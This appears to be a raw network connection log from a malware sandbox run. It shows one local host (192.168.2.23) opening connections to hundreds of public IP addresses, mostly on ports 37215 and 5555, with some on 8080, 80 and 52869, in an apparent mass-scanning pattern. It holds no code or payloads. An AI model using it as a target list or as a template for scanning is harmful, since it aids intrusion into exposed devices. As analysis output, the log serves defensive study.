Feb 12, 2023 21:24:51.044809103 CET	52981	37215	192.168.2.23	197.224.161.226
Feb 12, 2023 21:24:51.044809103 CET	52981	37215	192.168.2.23	197.128.233.69
Feb 12, 2023 21:24:51.044822931 CET	52981	37215	192.168.2.23	197.67.35.68
Feb 12, 2023 21:24:51.044836044 CET	52981	37215	192.168.2.23	78.234.155.230
Feb 12, 2023 21:24:51.044847965 CET	52981	37215	192.168.2.23	76.210.218.222
Feb 12, 2023 21:24:51.044859886 CET	52981	37215	192.168.2.23	41.220.69.44
Feb 12, 2023 21:24:51.044874907 CET	52981	37215	192.168.2.23	197.76.230.246
Feb 12, 2023 21:24:51.044879913 CET	52981	37215	192.168.2.23	41.24.243.175
Feb 12, 2023 21:24:51.044879913 CET	52981	37215	192.168.2.23	197.36.49.128
Feb 12, 2023 21:24:51.044903994 CET	52981	37215	192.168.2.23	157.199.225.230
Feb 12, 2023 21:24:51.044920921 CET	52981	37215	192.168.2.23	157.224.80.187
Feb 12, 2023 21:24:51.044945002 CET	52981	37215	192.168.2.23	197.234.90.164
Feb 12, 2023 21:24:51.044974089 CET	52981	37215	192.168.2.23	157.147.153.211
Feb 12, 2023 21:24:51.044990063 CET	52981	37215	192.168.2.23	117.225.213.224
Feb 12, 2023 21:24:51.045005083 CET	52981	37215	192.168.2.23	41.32.237.17
Feb 12, 2023 21:24:51.045027971 CET	52981	37215	192.168.2.23	4.13.122.169
Feb 12, 2023 21:24:51.045027971 CET	52981	37215	192.168.2.23	41.166.44.96
Feb 12, 2023 21:24:51.045042992 CET	52981	37215	192.168.2.23	197.122.55.234
Feb 12, 2023 21:24:51.045092106 CET	52981	37215	192.168.2.23	51.247.114.70
Feb 12, 2023 21:24:51.045094967 CET	52981	37215	192.168.2.23	157.123.65.203
Feb 12, 2023 21:24:51.045120955 CET	52981	37215	192.168.2.23	157.220.163.17
Feb 12, 2023 21:24:51.045156002 CET	52981	37215	192.168.2.23	77.71.127.187
Feb 12, 2023 21:24:51.045156002 CET	52981	37215	192.168.2.23	157.240.15.50
Feb 12, 2023 21:24:51.045173883 CET	52981	37215	192.168.2.23	41.8.185.22
Feb 12, 2023 21:24:51.045175076 CET	52981	37215	192.168.2.23	41.237.166.104
Feb 12, 2023 21:24:51.045197964 CET	52981	37215	192.168.2.23	14.222.222.233
Feb 12, 2023 21:24:51.045217991 CET	52981	37215	192.168.2.23	80.22.100.172
Feb 12, 2023 21:24:51.045226097 CET	52981	37215	192.168.2.23	41.120.58.113
Feb 12, 2023 21:24:51.045257092 CET	52981	37215	192.168.2.23	74.9.220.22
Feb 12, 2023 21:24:51.045257092 CET	52981	37215	192.168.2.23	62.74.83.223
Feb 12, 2023 21:24:51.045258999 CET	52981	37215	192.168.2.23	197.220.186.200
Feb 12, 2023 21:24:51.045284033 CET	52981	37215	192.168.2.23	157.41.113.72
Feb 12, 2023 21:24:51.045290947 CET	52981	37215	192.168.2.23	157.171.118.16
Feb 12, 2023 21:24:51.045330048 CET	52981	37215	192.168.2.23	157.132.186.45
Feb 12, 2023 21:24:51.045341969 CET	52981	37215	192.168.2.23	191.219.2.77
Feb 12, 2023 21:24:51.045345068 CET	52981	37215	192.168.2.23	157.191.78.28
Feb 12, 2023 21:24:51.045345068 CET	52981	37215	192.168.2.23	157.123.255.7
Feb 12, 2023 21:24:51.045380116 CET	52981	37215	192.168.2.23	80.215.5.118
Feb 12, 2023 21:24:51.045392990 CET	52981	37215	192.168.2.23	41.107.50.174
Feb 12, 2023 21:24:51.045413017 CET	52981	37215	192.168.2.23	41.102.238.58
Feb 12, 2023 21:24:51.045432091 CET	52981	37215	192.168.2.23	197.85.159.155
Feb 12, 2023 21:24:51.045455933 CET	52981	37215	192.168.2.23	197.167.41.230
Feb 12, 2023 21:24:51.045476913 CET	52981	37215	192.168.2.23	197.50.2.58
Feb 12, 2023 21:24:51.045496941 CET	52981	37215	192.168.2.23	192.109.64.117
Feb 12, 2023 21:24:51.045516014 CET	52981	37215	192.168.2.23	4.251.149.110
Feb 12, 2023 21:24:51.045516014 CET	52981	37215	192.168.2.23	41.240.228.111
Feb 12, 2023 21:24:51.045516014 CET	52981	37215	192.168.2.23	157.220.128.6
Feb 12, 2023 21:24:51.045572996 CET	52981	37215	192.168.2.23	122.126.9.115
Feb 12, 2023 21:24:51.045576096 CET	52981	37215	192.168.2.23	211.150.32.33
Feb 12, 2023 21:24:51.045578003 CET	52981	37215	192.168.2.23	179.77.180.156
Feb 12, 2023 21:24:51.045578003 CET	52981	37215	192.168.2.23	197.93.127.27
Feb 12, 2023 21:24:51.045578003 CET	52981	37215	192.168.2.23	197.69.164.146
Feb 12, 2023 21:24:51.045594931 CET	52981	37215	192.168.2.23	197.16.15.32
Feb 12, 2023 21:24:51.045624971 CET	52981	37215	192.168.2.23	157.233.85.100
Feb 12, 2023 21:24:51.045624971 CET	52981	37215	192.168.2.23	197.123.79.88
Feb 12, 2023 21:24:51.045636892 CET	52981	37215	192.168.2.23	196.240.98.73
Feb 12, 2023 21:24:51.045676947 CET	52981	37215	192.168.2.23	157.92.194.164
Feb 12, 2023 21:24:51.045686007 CET	52981	37215	192.168.2.23	41.89.174.152
Feb 12, 2023 21:24:51.045686007 CET	52981	37215	192.168.2.23	41.93.57.0
Feb 12, 2023 21:24:51.045701027 CET	52981	37215	192.168.2.23	197.77.231.231
Feb 12, 2023 21:24:51.045713902 CET	52981	37215	192.168.2.23	157.216.170.4
Feb 12, 2023 21:24:51.045761108 CET	52981	37215	192.168.2.23	157.160.86.250
Feb 12, 2023 21:24:51.045788050 CET	52981	37215	192.168.2.23	41.139.112.178
Feb 12, 2023 21:24:51.045788050 CET	52981	37215	192.168.2.23	197.167.174.75
Feb 12, 2023 21:24:51.045788050 CET	52981	37215	192.168.2.23	168.169.90.190
Feb 12, 2023 21:24:51.045789957 CET	52981	37215	192.168.2.23	157.18.40.64
Feb 12, 2023 21:24:51.045799971 CET	52981	37215	192.168.2.23	41.142.19.60
Feb 12, 2023 21:24:51.045804977 CET	52981	37215	192.168.2.23	157.62.228.95
Feb 12, 2023 21:24:51.045809984 CET	52981	37215	192.168.2.23	41.5.238.212
Feb 12, 2023 21:24:51.045813084 CET	52981	37215	192.168.2.23	197.177.28.16
Feb 12, 2023 21:24:51.045813084 CET	52981	37215	192.168.2.23	67.194.185.1
Feb 12, 2023 21:24:51.045816898 CET	52981	37215	192.168.2.23	157.8.43.106
Feb 12, 2023 21:24:51.045835972 CET	52981	37215	192.168.2.23	68.41.34.188
Feb 12, 2023 21:24:51.045841932 CET	52981	37215	192.168.2.23	41.198.177.225
Feb 12, 2023 21:24:51.045841932 CET	52981	37215	192.168.2.23	159.190.217.34
Feb 12, 2023 21:24:51.045849085 CET	52981	37215	192.168.2.23	41.156.12.7
Feb 12, 2023 21:24:51.045892000 CET	52981	37215	192.168.2.23	197.19.122.223
Feb 12, 2023 21:24:51.045893908 CET	52981	37215	192.168.2.23	41.106.167.73
Feb 12, 2023 21:24:51.045917034 CET	52981	37215	192.168.2.23	41.36.198.110
Feb 12, 2023 21:24:51.045934916 CET	52981	37215	192.168.2.23	41.64.223.3
Feb 12, 2023 21:24:51.045953989 CET	52981	37215	192.168.2.23	148.132.89.39
Feb 12, 2023 21:24:51.045967102 CET	52981	37215	192.168.2.23	197.146.240.66
Feb 12, 2023 21:24:51.045981884 CET	52981	37215	192.168.2.23	157.181.140.43
Feb 12, 2023 21:24:51.046015024 CET	52981	37215	192.168.2.23	157.94.202.173
Feb 12, 2023 21:24:51.046022892 CET	52981	37215	192.168.2.23	176.6.255.88
Feb 12, 2023 21:24:51.046025038 CET	52981	37215	192.168.2.23	187.45.192.25
Feb 12, 2023 21:24:51.046046972 CET	52981	37215	192.168.2.23	157.209.92.42
Feb 12, 2023 21:24:51.046072006 CET	52981	37215	192.168.2.23	41.115.235.177
Feb 12, 2023 21:24:51.046097040 CET	52981	37215	192.168.2.23	157.21.148.110
Feb 12, 2023 21:24:51.046097040 CET	52981	37215	192.168.2.23	41.209.11.117
Feb 12, 2023 21:24:51.046128035 CET	52981	37215	192.168.2.23	197.203.5.133
Feb 12, 2023 21:24:51.046128035 CET	52981	37215	192.168.2.23	41.205.91.27
Feb 12, 2023 21:24:51.046154976 CET	52981	37215	192.168.2.23	83.217.166.214
Feb 12, 2023 21:24:51.046161890 CET	52981	37215	192.168.2.23	111.85.22.92
Feb 12, 2023 21:24:51.046176910 CET	52981	37215	192.168.2.23	41.250.214.211
Feb 12, 2023 21:24:51.046202898 CET	52981	37215	192.168.2.23	197.130.180.248
Feb 12, 2023 21:24:51.046209097 CET	52981	37215	192.168.2.23	41.246.51.251
Feb 12, 2023 21:24:51.046216965 CET	52981	37215	192.168.2.23	197.84.201.144
Feb 12, 2023 21:24:51.046236038 CET	52981	37215	192.168.2.23	41.63.236.151
Feb 12, 2023 21:24:51.046241999 CET	52981	37215	192.168.2.23	208.37.40.90
Feb 12, 2023 21:24:51.046277046 CET	52981	37215	192.168.2.23	197.206.94.152
Feb 12, 2023 21:24:51.046277046 CET	52981	37215	192.168.2.23	157.131.149.75
Feb 12, 2023 21:24:51.046313047 CET	52981	37215	192.168.2.23	157.166.147.200
Feb 12, 2023 21:24:51.046325922 CET	52981	37215	192.168.2.23	197.156.104.52
Feb 12, 2023 21:24:51.046333075 CET	52981	37215	192.168.2.23	41.238.224.15
Feb 12, 2023 21:24:51.046333075 CET	52981	37215	192.168.2.23	197.69.45.139
Feb 12, 2023 21:24:51.046401024 CET	52981	37215	192.168.2.23	157.111.158.60
Feb 12, 2023 21:24:51.046406984 CET	52981	37215	192.168.2.23	99.17.6.89
Feb 12, 2023 21:24:51.046406984 CET	52981	37215	192.168.2.23	73.154.109.137
Feb 12, 2023 21:24:51.046418905 CET	52981	37215	192.168.2.23	157.17.222.87
Feb 12, 2023 21:24:51.046422958 CET	52981	37215	192.168.2.23	172.117.104.120
Feb 12, 2023 21:24:51.046422958 CET	52981	37215	192.168.2.23	157.133.135.38
Feb 12, 2023 21:24:51.046422958 CET	52981	37215	192.168.2.23	157.77.113.19
Feb 12, 2023 21:24:51.046432018 CET	52981	37215	192.168.2.23	197.143.38.115
Feb 12, 2023 21:24:51.046432018 CET	52981	37215	192.168.2.23	41.17.228.30
Feb 12, 2023 21:24:51.046432018 CET	52981	37215	192.168.2.23	41.186.254.244
Feb 12, 2023 21:24:51.046437979 CET	52981	37215	192.168.2.23	61.206.186.229
Feb 12, 2023 21:24:51.046437979 CET	52981	37215	192.168.2.23	41.66.56.57
Feb 12, 2023 21:24:51.046439886 CET	52981	37215	192.168.2.23	197.199.67.93
Feb 12, 2023 21:24:51.046439886 CET	52981	37215	192.168.2.23	41.8.139.246
Feb 12, 2023 21:24:51.046441078 CET	52981	37215	192.168.2.23	131.255.48.207
Feb 12, 2023 21:24:51.046441078 CET	52981	37215	192.168.2.23	98.77.83.207
Feb 12, 2023 21:24:51.046447039 CET	52981	37215	192.168.2.23	41.50.163.182
Feb 12, 2023 21:24:51.046448946 CET	52981	37215	192.168.2.23	197.197.118.217
Feb 12, 2023 21:24:51.046448946 CET	52981	37215	192.168.2.23	41.113.117.213
Feb 12, 2023 21:24:51.046449900 CET	52981	37215	192.168.2.23	197.200.58.81
Feb 12, 2023 21:24:51.046475887 CET	52981	37215	192.168.2.23	41.89.132.121
Feb 12, 2023 21:24:51.046493053 CET	52981	37215	192.168.2.23	157.30.1.144
Feb 12, 2023 21:24:51.046520948 CET	52981	37215	192.168.2.23	157.109.103.77
Feb 12, 2023 21:24:51.046520948 CET	52981	37215	192.168.2.23	150.232.155.252
Feb 12, 2023 21:24:51.046569109 CET	52981	37215	192.168.2.23	197.132.112.210
Feb 12, 2023 21:24:51.046591997 CET	52981	37215	192.168.2.23	197.129.102.158
Feb 12, 2023 21:24:51.046607018 CET	52981	37215	192.168.2.23	41.5.239.224
Feb 12, 2023 21:24:51.046643972 CET	52981	37215	192.168.2.23	47.6.164.219
Feb 12, 2023 21:24:51.046647072 CET	52981	37215	192.168.2.23	157.209.25.106
Feb 12, 2023 21:24:51.046658993 CET	52981	37215	192.168.2.23	157.136.24.142
Feb 12, 2023 21:24:51.046659946 CET	52981	37215	192.168.2.23	197.46.123.60
Feb 12, 2023 21:24:51.046709061 CET	52981	37215	192.168.2.23	157.219.193.8
Feb 12, 2023 21:24:51.046725035 CET	52981	37215	192.168.2.23	89.171.67.24
Feb 12, 2023 21:24:51.046725035 CET	52981	37215	192.168.2.23	157.210.33.104
Feb 12, 2023 21:24:51.046727896 CET	52981	37215	192.168.2.23	41.41.203.23
Feb 12, 2023 21:24:51.046730042 CET	52981	37215	192.168.2.23	157.88.157.230
Feb 12, 2023 21:24:51.046727896 CET	52981	37215	192.168.2.23	38.209.216.194
Feb 12, 2023 21:24:51.046741009 CET	52981	37215	192.168.2.23	41.43.172.74
Feb 12, 2023 21:24:51.046741009 CET	52981	37215	192.168.2.23	157.112.255.184
Feb 12, 2023 21:24:51.046741009 CET	52981	37215	192.168.2.23	197.89.99.48
Feb 12, 2023 21:24:51.046778917 CET	52981	37215	192.168.2.23	157.90.118.199
Feb 12, 2023 21:24:51.046785116 CET	52981	37215	192.168.2.23	41.199.11.203
Feb 12, 2023 21:24:51.046785116 CET	52981	37215	192.168.2.23	157.71.9.250
Feb 12, 2023 21:24:51.046788931 CET	52981	37215	192.168.2.23	197.105.80.35
Feb 12, 2023 21:24:51.046806097 CET	52981	37215	192.168.2.23	157.96.41.39
Feb 12, 2023 21:24:51.046821117 CET	52981	37215	192.168.2.23	197.27.42.30
Feb 12, 2023 21:24:51.046849012 CET	52981	37215	192.168.2.23	102.21.108.65
Feb 12, 2023 21:24:51.046886921 CET	52981	37215	192.168.2.23	197.170.52.216
Feb 12, 2023 21:24:51.046909094 CET	52981	37215	192.168.2.23	157.72.49.160
Feb 12, 2023 21:24:51.046909094 CET	52981	37215	192.168.2.23	157.98.46.144
Feb 12, 2023 21:24:51.046947002 CET	52981	37215	192.168.2.23	41.212.232.145
Feb 12, 2023 21:24:51.046950102 CET	52981	37215	192.168.2.23	154.11.178.135
Feb 12, 2023 21:24:51.046976089 CET	52981	37215	192.168.2.23	213.124.88.165
Feb 12, 2023 21:24:51.046998978 CET	52981	37215	192.168.2.23	197.188.6.163
Feb 12, 2023 21:24:51.047004938 CET	52981	37215	192.168.2.23	197.98.144.175
Feb 12, 2023 21:24:51.047015905 CET	52981	37215	192.168.2.23	157.236.96.201
Feb 12, 2023 21:24:51.047029972 CET	52981	37215	192.168.2.23	202.145.157.109
Feb 12, 2023 21:24:51.047044992 CET	52981	37215	192.168.2.23	157.84.178.38
Feb 12, 2023 21:24:51.047070026 CET	52981	37215	192.168.2.23	210.94.118.156
Feb 12, 2023 21:24:51.047070980 CET	52981	37215	192.168.2.23	157.13.191.247
Feb 12, 2023 21:24:51.047079086 CET	52981	37215	192.168.2.23	157.37.20.131
Feb 12, 2023 21:24:51.047090054 CET	52981	37215	192.168.2.23	197.241.122.218
Feb 12, 2023 21:24:51.047090054 CET	52981	37215	192.168.2.23	41.207.221.151
Feb 12, 2023 21:24:51.047133923 CET	52981	37215	192.168.2.23	80.6.133.80
Feb 12, 2023 21:24:51.047133923 CET	52981	37215	192.168.2.23	175.122.81.40
Feb 12, 2023 21:24:51.047163010 CET	52981	37215	192.168.2.23	41.165.100.237
Feb 12, 2023 21:24:51.047166109 CET	52981	37215	192.168.2.23	41.11.213.56
Feb 12, 2023 21:24:51.047166109 CET	52981	37215	192.168.2.23	51.176.19.16
Feb 12, 2023 21:24:51.047166109 CET	52981	37215	192.168.2.23	201.147.62.152
Feb 12, 2023 21:24:51.047197104 CET	52981	37215	192.168.2.23	41.232.203.192
Feb 12, 2023 21:24:51.047269106 CET	52981	37215	192.168.2.23	196.93.90.171
Feb 12, 2023 21:24:51.047271013 CET	52981	37215	192.168.2.23	41.53.38.109
Feb 12, 2023 21:24:51.047281981 CET	52981	37215	192.168.2.23	41.135.169.229
Feb 12, 2023 21:24:51.047302008 CET	52981	37215	192.168.2.23	132.93.243.25
Feb 12, 2023 21:24:51.047313929 CET	52981	37215	192.168.2.23	41.233.77.160
Feb 12, 2023 21:24:51.047338963 CET	52981	37215	192.168.2.23	41.196.71.235
Feb 12, 2023 21:24:51.047343969 CET	52981	37215	192.168.2.23	41.124.71.2
Feb 12, 2023 21:24:51.047372103 CET	52981	37215	192.168.2.23	197.83.221.209
Feb 12, 2023 21:24:51.047405958 CET	52981	37215	192.168.2.23	41.230.201.136
Feb 12, 2023 21:24:51.047408104 CET	52981	37215	192.168.2.23	157.117.163.95
Feb 12, 2023 21:24:51.047413111 CET	52981	37215	192.168.2.23	157.7.181.251
Feb 12, 2023 21:24:51.047413111 CET	52981	37215	192.168.2.23	110.253.215.55
Feb 12, 2023 21:24:51.047413111 CET	52981	37215	192.168.2.23	17.151.91.182
Feb 12, 2023 21:24:51.047413111 CET	52981	37215	192.168.2.23	197.211.177.156
Feb 12, 2023 21:24:51.047414064 CET	52981	37215	192.168.2.23	41.1.171.30
Feb 12, 2023 21:24:51.047463894 CET	52981	37215	192.168.2.23	157.229.27.89
Feb 12, 2023 21:24:51.047465086 CET	52981	37215	192.168.2.23	143.40.6.219
Feb 12, 2023 21:24:51.047465086 CET	52981	37215	192.168.2.23	197.187.127.218
Feb 12, 2023 21:24:51.047465086 CET	52981	37215	192.168.2.23	41.196.190.15
Feb 12, 2023 21:24:51.047530890 CET	52981	37215	192.168.2.23	197.207.206.195
Feb 12, 2023 21:24:51.047530890 CET	52981	37215	192.168.2.23	197.92.85.97
Feb 12, 2023 21:24:51.047544003 CET	52981	37215	192.168.2.23	197.113.85.153
Feb 12, 2023 21:24:51.047596931 CET	52981	37215	192.168.2.23	157.181.177.63
Feb 12, 2023 21:24:51.047604084 CET	52981	37215	192.168.2.23	157.120.171.125
Feb 12, 2023 21:24:51.047611952 CET	52981	37215	192.168.2.23	157.76.232.125
Feb 12, 2023 21:24:51.047622919 CET	52981	37215	192.168.2.23	197.78.17.157
Feb 12, 2023 21:24:51.047657967 CET	52981	37215	192.168.2.23	41.89.132.47
Feb 12, 2023 21:24:51.047657967 CET	52981	37215	192.168.2.23	157.207.228.167
Feb 12, 2023 21:24:51.047687054 CET	52981	37215	192.168.2.23	197.5.58.115
Feb 12, 2023 21:24:51.047713041 CET	52981	37215	192.168.2.23	157.168.166.212
Feb 12, 2023 21:24:51.047724962 CET	52981	37215	192.168.2.23	41.245.151.76
Feb 12, 2023 21:24:51.047724962 CET	52981	37215	192.168.2.23	41.95.174.42
Feb 12, 2023 21:24:51.047724962 CET	52981	37215	192.168.2.23	41.71.159.14
Feb 12, 2023 21:24:51.047738075 CET	52981	37215	192.168.2.23	157.202.65.213
Feb 12, 2023 21:24:51.047755957 CET	52981	37215	192.168.2.23	197.223.97.23
Feb 12, 2023 21:24:51.047755957 CET	52981	37215	192.168.2.23	157.17.21.205
Feb 12, 2023 21:24:51.047786951 CET	52981	37215	192.168.2.23	206.16.103.121
Feb 12, 2023 21:24:51.047794104 CET	52981	37215	192.168.2.23	35.190.116.244
Feb 12, 2023 21:24:51.047799110 CET	52981	37215	192.168.2.23	86.27.156.45
Feb 12, 2023 21:24:51.047806978 CET	52981	37215	192.168.2.23	41.9.204.68
Feb 12, 2023 21:24:51.047842979 CET	52981	37215	192.168.2.23	41.63.251.160
Feb 12, 2023 21:24:51.047863007 CET	52981	37215	192.168.2.23	41.123.101.181
Feb 12, 2023 21:24:51.047878027 CET	52981	37215	192.168.2.23	197.135.106.50
Feb 12, 2023 21:24:51.047883034 CET	52981	37215	192.168.2.23	41.126.81.161
Feb 12, 2023 21:24:51.047908068 CET	52981	37215	192.168.2.23	41.10.106.0
Feb 12, 2023 21:24:51.047925949 CET	52981	37215	192.168.2.23	157.30.80.155
Feb 12, 2023 21:24:51.047931910 CET	52981	37215	192.168.2.23	197.47.40.119
Feb 12, 2023 21:24:51.047931910 CET	52981	37215	192.168.2.23	197.238.46.201
Feb 12, 2023 21:24:51.047931910 CET	52981	37215	192.168.2.23	41.15.127.8
Feb 12, 2023 21:24:51.047931910 CET	52981	37215	192.168.2.23	197.189.130.172
Feb 12, 2023 21:24:51.048027039 CET	52981	37215	192.168.2.23	157.179.198.185
Feb 12, 2023 21:24:51.048027039 CET	52981	37215	192.168.2.23	157.39.199.232
Feb 12, 2023 21:24:51.048029900 CET	52981	37215	192.168.2.23	157.82.112.21
Feb 12, 2023 21:24:51.048032045 CET	52981	37215	192.168.2.23	155.42.182.149
Feb 12, 2023 21:24:51.048044920 CET	52981	37215	192.168.2.23	197.200.218.219
Feb 12, 2023 21:24:51.048043013 CET	52981	37215	192.168.2.23	157.36.235.190
Feb 12, 2023 21:24:51.048043013 CET	52981	37215	192.168.2.23	197.177.12.132
Feb 12, 2023 21:24:51.048043013 CET	52981	37215	192.168.2.23	157.132.135.83
Feb 12, 2023 21:24:51.048058033 CET	52981	37215	192.168.2.23	212.27.105.77
Feb 12, 2023 21:24:51.048067093 CET	52981	37215	192.168.2.23	41.21.132.71
Feb 12, 2023 21:24:51.048067093 CET	52981	37215	192.168.2.23	197.34.220.233
Feb 12, 2023 21:24:51.048067093 CET	52981	37215	192.168.2.23	157.112.78.80
Feb 12, 2023 21:24:51.048084974 CET	52981	37215	192.168.2.23	24.2.67.51
Feb 12, 2023 21:24:51.050702095 CET	5555	22272	118.70.132.109	192.168.2.23
Feb 12, 2023 21:24:51.050746918 CET	5555	22272	200.170.134.50	192.168.2.23
Feb 12, 2023 21:24:51.085210085 CET	37215	52981	197.6.94.11	192.168.2.23
Feb 12, 2023 21:24:51.085345030 CET	52981	37215	192.168.2.23	197.6.94.11
Feb 12, 2023 21:24:51.089251995 CET	37215	52981	213.124.88.165	192.168.2.23
Feb 12, 2023 21:24:51.090790987 CET	37215	52981	197.6.94.11	192.168.2.23
Feb 12, 2023 21:24:51.119573116 CET	55640	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.119599104 CET	54888	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:51.119612932 CET	54884	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:51.123915911 CET	37215	52981	197.199.67.93	192.168.2.23
Feb 12, 2023 21:24:51.124016047 CET	52981	37215	192.168.2.23	197.199.67.93
Feb 12, 2023 21:24:51.144782066 CET	37215	52981	197.34.220.233	192.168.2.23
Feb 12, 2023 21:24:51.151640892 CET	55648	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.151673079 CET	55646	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.151694059 CET	55644	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.170243979 CET	57464	8080	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:51.174063921 CET	37215	52981	197.5.58.115	192.168.2.23
Feb 12, 2023 21:24:51.176189899 CET	60538	8080	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:51.182908058 CET	46172	8080	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:51.193563938 CET	51782	8080	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:51.206418991 CET	37215	52981	197.130.180.248	192.168.2.23
Feb 12, 2023 21:24:51.213998079 CET	40280	8080	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:51.226058006 CET	58566	8080	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:51.239197969 CET	58940	8080	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:51.250024080 CET	55712	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:51.256064892 CET	37215	52981	197.212.221.81	192.168.2.23
Feb 12, 2023 21:24:51.262054920 CET	49076	8080	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:51.275126934 CET	46264	8080	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:51.311678886 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:51.346311092 CET	37215	52981	175.122.81.40	192.168.2.23
Feb 12, 2023 21:24:51.439743996 CET	56366	80	192.168.2.23	51.55.46.52
Feb 12, 2023 21:24:51.457865000 CET	37215	52981	197.128.233.69	192.168.2.23
Feb 12, 2023 21:24:51.471668005 CET	55226	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:51.471668005 CET	39304	80	192.168.2.23	52.49.46.57
Feb 12, 2023 21:24:51.471671104 CET	49142	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:51.471671104 CET	54116	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:51.503740072 CET	38114	80	192.168.2.23	56.52.46.50
Feb 12, 2023 21:24:51.546133995 CET	5555	22272	89.181.31.249	192.168.2.23
Feb 12, 2023 21:24:51.578170061 CET	44908	37215	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:51.581218958 CET	33058	37215	192.168.2.23	50.48.48.46
Feb 12, 2023 21:24:51.583302975 CET	48900	37215	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:51.586308956 CET	54076	37215	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:51.588825941 CET	42740	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:51.631649971 CET	36318	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:51.791640997 CET	51068	52869	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:51.802937984 CET	22272	5555	192.168.2.23	40.6.95.108
Feb 12, 2023 21:24:51.802954912 CET	22272	5555	192.168.2.23	61.232.112.191
Feb 12, 2023 21:24:51.803035021 CET	22272	5555	192.168.2.23	220.117.160.183
Feb 12, 2023 21:24:51.803035021 CET	22272	5555	192.168.2.23	154.4.204.97
Feb 12, 2023 21:24:51.803035021 CET	22272	5555	192.168.2.23	116.166.50.131
Feb 12, 2023 21:24:51.803036928 CET	22272	5555	192.168.2.23	139.218.112.42
Feb 12, 2023 21:24:51.803036928 CET	22272	5555	192.168.2.23	119.255.115.108
Feb 12, 2023 21:24:51.803066015 CET	22272	5555	192.168.2.23	97.183.227.138
Feb 12, 2023 21:24:51.803117037 CET	22272	5555	192.168.2.23	23.18.27.36
Feb 12, 2023 21:24:51.803117037 CET	22272	5555	192.168.2.23	32.106.190.103
Feb 12, 2023 21:24:51.803117990 CET	22272	5555	192.168.2.23	168.222.232.74
Feb 12, 2023 21:24:51.803143978 CET	22272	5555	192.168.2.23	137.43.136.231
Feb 12, 2023 21:24:51.803169012 CET	22272	5555	192.168.2.23	144.19.10.175
Feb 12, 2023 21:24:51.803189993 CET	22272	5555	192.168.2.23	161.66.105.47
Feb 12, 2023 21:24:51.803220034 CET	22272	5555	192.168.2.23	162.234.211.134
Feb 12, 2023 21:24:51.803220034 CET	22272	5555	192.168.2.23	72.74.164.181
Feb 12, 2023 21:24:51.803263903 CET	22272	5555	192.168.2.23	82.120.249.174
Feb 12, 2023 21:24:51.803263903 CET	22272	5555	192.168.2.23	20.205.43.2
Feb 12, 2023 21:24:51.803263903 CET	22272	5555	192.168.2.23	160.6.125.76
Feb 12, 2023 21:24:51.803265095 CET	22272	5555	192.168.2.23	69.55.76.15
Feb 12, 2023 21:24:51.803302050 CET	22272	5555	192.168.2.23	218.40.134.113
Feb 12, 2023 21:24:51.803328991 CET	22272	5555	192.168.2.23	119.88.103.226
Feb 12, 2023 21:24:51.803330898 CET	22272	5555	192.168.2.23	13.208.95.212
Feb 12, 2023 21:24:51.803330898 CET	22272	5555	192.168.2.23	177.8.237.36
Feb 12, 2023 21:24:51.803352118 CET	22272	5555	192.168.2.23	111.69.108.165
Feb 12, 2023 21:24:51.803385019 CET	22272	5555	192.168.2.23	60.45.8.228
Feb 12, 2023 21:24:51.803409100 CET	22272	5555	192.168.2.23	89.244.23.222
Feb 12, 2023 21:24:51.803409100 CET	22272	5555	192.168.2.23	60.189.119.179
Feb 12, 2023 21:24:51.803442001 CET	22272	5555	192.168.2.23	142.155.248.119
Feb 12, 2023 21:24:51.803471088 CET	22272	5555	192.168.2.23	92.122.22.129
Feb 12, 2023 21:24:51.803471088 CET	22272	5555	192.168.2.23	151.46.99.32
Feb 12, 2023 21:24:51.803497076 CET	22272	5555	192.168.2.23	8.16.141.136
Feb 12, 2023 21:24:51.803549051 CET	22272	5555	192.168.2.23	157.66.53.142
Feb 12, 2023 21:24:51.803564072 CET	22272	5555	192.168.2.23	156.105.214.103
Feb 12, 2023 21:24:51.803606033 CET	22272	5555	192.168.2.23	77.69.102.184
Feb 12, 2023 21:24:51.803623915 CET	22272	5555	192.168.2.23	104.182.131.193
Feb 12, 2023 21:24:51.803644896 CET	22272	5555	192.168.2.23	78.203.254.239
Feb 12, 2023 21:24:51.803658962 CET	22272	5555	192.168.2.23	122.37.75.86
Feb 12, 2023 21:24:51.803689003 CET	22272	5555	192.168.2.23	210.149.199.128
Feb 12, 2023 21:24:51.803741932 CET	22272	5555	192.168.2.23	124.239.152.44
Feb 12, 2023 21:24:51.803741932 CET	22272	5555	192.168.2.23	197.225.178.221
Feb 12, 2023 21:24:51.803755045 CET	22272	5555	192.168.2.23	62.11.33.174
Feb 12, 2023 21:24:51.803792000 CET	22272	5555	192.168.2.23	219.106.228.185
Feb 12, 2023 21:24:51.803800106 CET	22272	5555	192.168.2.23	18.17.102.21
Feb 12, 2023 21:24:51.803807020 CET	22272	5555	192.168.2.23	8.171.50.236
Feb 12, 2023 21:24:51.803838015 CET	22272	5555	192.168.2.23	66.211.19.190
Feb 12, 2023 21:24:51.803868055 CET	22272	5555	192.168.2.23	196.196.148.100
Feb 12, 2023 21:24:51.803884029 CET	22272	5555	192.168.2.23	207.223.198.26
Feb 12, 2023 21:24:51.803884029 CET	22272	5555	192.168.2.23	116.192.34.255
